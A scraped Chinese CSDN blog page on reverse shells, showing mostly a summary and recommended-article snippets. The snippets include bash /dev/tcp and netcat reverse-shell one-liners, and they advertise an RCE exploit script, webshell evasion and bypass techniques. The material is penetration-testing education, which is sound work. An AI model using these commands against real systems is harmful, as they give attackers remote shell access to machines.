反弹shell

最新推荐文章于 2022-07-02 21:12:48 发布
原创 最新推荐文章于 2022-07-02 21:12:48 发布 · 530 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全 #web安全 #安全

本文深入解析反弹shell的工作原理，讲解文件描述符与重定向的应用，汇集各类反弹shell实施技巧，帮助读者理解其核心概念和实践策略。
安全攻防渗透测试一键生成反弹shell自动化工具
12-20
1. 授人以鱼不如授人以渔：本压缩包提供源码，可二次开发，也可不断自行补充新的反弹shell。 2. 傻瓜式操作：仅需双击exe文件或直接运行源码启动程序，输入反弹的ip和port，就能一键生成各类反弹shell 3. 界面清爽易...
linux反弹shell的原理详解
01-08
反弹shell命令： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell： nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一...
网络安全基础入门反弹SHELL与正反向连接技术：防火墙绕过及文件下载命令详解
最新发布
04-22
内容概要：本文档主要介绍了基础入门级别的反弹SHELL、不回显带外、正反向连接、防火墙出入站规则以及文件下载等技术。涵盖Web常规、Web其他、Web拓展、APP架构、小程序架构等方面的知识点。详细讲解了渗透命令如...
精选资源
Spring cloud function SpEL RCE批量检测脚本，反弹shell脚本
03-30
Spring Cloud Function 是基于Spring Boot 的函数计算框架，它抽象出所有传输细节和...反弹shell脚本：python Spel_RCE_Bash_EXP.py url lhost lport 受影响版本：3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
精选资源
Apache-flink 未授权访问任意jar包上传反弹shell.MD
04-12
Apache-flink 未授权访问任意jar包上传反弹shell
SSRF---gopher和dict打redis
unexpectedthing的博客
12-01 6891
前言 之前关于SSRF打redis(redis的未授权漏洞)都没咋总结，现在总结一下。 redis简介 redis是一个key-value存储系统，是一个开源（BSD许可）的，内存中的数据结构存储系统，它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构，如 字符串（strings）， 散列（hashes）， 列表（lists）， 集合（sets）， 有序集合（sorted sets） 与范围查询， bitmaps， hyperloglogs 和 地理空间（geospatial） 索引半径查询。
gopher协议总结
unexpectedthing的博客
12-01 6865
定义 gopher协议是一种信息查0找系统，他将Internet上的文件组织成某种索引，方便用户从Internet的一处带到另一处。在WWW出现之前，Gopher是Internet上最主要的信息检索工具，Gopher站点也是最主要的站点，使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等，也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面 利用： 攻击内网的 Redis、Mysql、FastCGI、Ftp等等，也可以发送 GET、POST 请求
SSRF--gopher协议打FastCGI
unexpectedthing的博客
11-30 6473
FastCGI 定义: 什么是CGI CGI全称"通用网关接口"（Common Gateway Interface），用于HTTP服务器与其它机器上的程序服务通信交流的一种工具，CGI程序须运行在网络服务器上。 传统CGI接口方式的主要缺点是性能较差，因为每次HTTP服务器遇到动态程序时都需要重启解析器来执行解析，然后结果被返回给HTTP服务器。这在处理高并发访问几乎是不可用的，因此就诞生了FastCGI。另外传统的CGI接口方式安全性也很差。 什么是FastCGI FastCGI是一个可伸缩地、高速地
php原生类的总结
unexpectedthing的博客
12-12 6233
文章目录前言利用Error/Exception 内置类进行 XSSError内置类Exception内置类[BJDCTF 2nd]xss之光使用 Error/Exception 内置类绕过哈希比较Error类Exception 类[2020 极客大挑战]GreatphpSoapClient类来进行SSRF 前言 之所以这个总结，极客大挑战的SoEzunser考到了php原生类来遍历目录 其实，在CTF题目中，可以利用php原生类来进行XSS,反序列化，SSRF，XXE和读文件的思路 通过遍历看一下php的内
mysql中getshell的方式
unexpectedthing的博客
03-17 5707
文章目录outfile和dumpfile写shell利用条件基于union联合查询：非联合查询outfile和dumpfile的区别secure_file_prive日志getshell慢日志getshell利用general_logbinlog的介绍 outfile和dumpfile写shell 利用条件 数据库当前用户为root权限； 知道当前网站的绝对路径； PHP的GPC为 off状态；(魔术引号，GET，POST，Cookie) 写入的那个路径存在写入权限。 基于union联合查询： ?i
绕过disable_function总结
unexpectedthing的博客
03-27 5143
前言 有些时候，phpinfo()有disable_functions 蚁剑终端命令不起作用，就可能是df的问题 黑名单绕过 就是一些运维人员php命令执行的函数没禁用完 exec,passthru,shell_exec,eval,system,popen,proc_open(),pcntl_exec 前几种都比较简单 popen 打开进程文件指针 <?php $command=$_POST['cmd']; $handle = popen($command,"r"); while(!feof($
yii2反序列化漏洞总结
unexpectedthing的博客
03-29 5116
文章目录yii2框架 反序列化漏洞复现yii 框架搭建过程CVE-2020-15148复现链子2链子3链子4链子5链子6参考链接 yii2框架 反序列化漏洞复现 yii 框架 Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。 Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等。 Yii
FPM和FTP的安全学习
unexpectedthing的博客
02-27 3201
文章目录前言前置知识什么是CGI?什么是FastCGI?web服务器，web中间件和web容器的区别浏览器处理网页的过程1.浏览器访问静态网页过程：2.浏览器访问动态页面总结FastCGI协议的分析PHP-FPMFPM任意代码执行FPM未授权访问SSRF直接对FPM/FastCGI的攻击方法一：方法二：FTP的被动模式打FPM/FastCGIFTP的前置知识FTP 协议FTP 协议的工作方式原理：演示过程FTP打FPM情况1情况2FTP打内网redisFTP打Mysql加载恶意 .so 实现 RCE 绕过
绕过disable_functions
unexpectedthing的博客
04-28 3018
文章目录前言黑名单绕过利用 LD_PRELOAD 环境变量LD_PRELOAD 简介利用条件劫持 getuid()劫持启动进程演示过程利用ShellShock(CVE-2014-6271)使用条件：原理简述演示过程php-json-bypass使用条件:原理简述利用脚本演示过程php-GC-bypass使用条件：原理简述利用脚本演示过程利用 Backtrace使用条件：原理简述利用脚本利用方法利用 Apache Mod CGI使用条件：原理简述演示过程2020De1CTF通过攻击 PHP-FPM理论：ctf
webshell免杀的总结
unexpectedthing的博客
04-24 2515
文章目录前言php的一句话木马ASP的一句话木马JSP的一句话木马 前言 这里对一句话木马进行一个总结，方便自己以后查询 php的一句话木马 直接上文章吧，懒得自己写了 基本的变形 https://xz.aliyun.com/t/6957#toc-0 针对php5的马，利用函数跟一些姿势的变形 https://www.sqlsec.com/2020/07/shell.html#toc-heading-2 https://xz.aliyun.com/t/2335 算是进阶的webshell免杀的内容 http
eval长度限制绕过 && PHP5.6新特性-usort()函数
unexpectedthing的博客
11-12 2249
文章目录前言参考文章 前言 写这篇文章，方便自己以后查阅 参考文章 https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
绕过open_basedir
unexpectedthing的博客
07-02 1973
open_basedir绕过
php-session文件包含和反序列化(对session.upload_progress的利用)
unexpectedthing的博客
02-11 1934
文章目录前言session的简介PHP中session的存储方式php.ini中的一些配置php中的session.upload_progress文件包含反序列化$_SESSION变量直接可控$_SESSION变量不可控参考链接 前言 本文是利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含和反序列化的总结。 也就是关于php-session的文件包含和反序列化 session的简介 session被称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。这样，当用
php反序列化(ctfshow)
unexpectedthing的博客
11-14 1597
文章目录简介入门反序列化中常见的魔法函数web254web255web256web257为什么需要用urlencode?web258web259介绍web260web261web262web264web263web265web266补充知识点php中输出打印的方式 简介 php序列化和反序列用到两个函数 序列化：serialize,将对象格式化为一个新的字符串 反序列化：unserialize,将字符串还原为原来的对象。 一般在CTF中，可以通过自己写php代码，并传序列化后的代码，可以覆盖原来的代码，从而
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值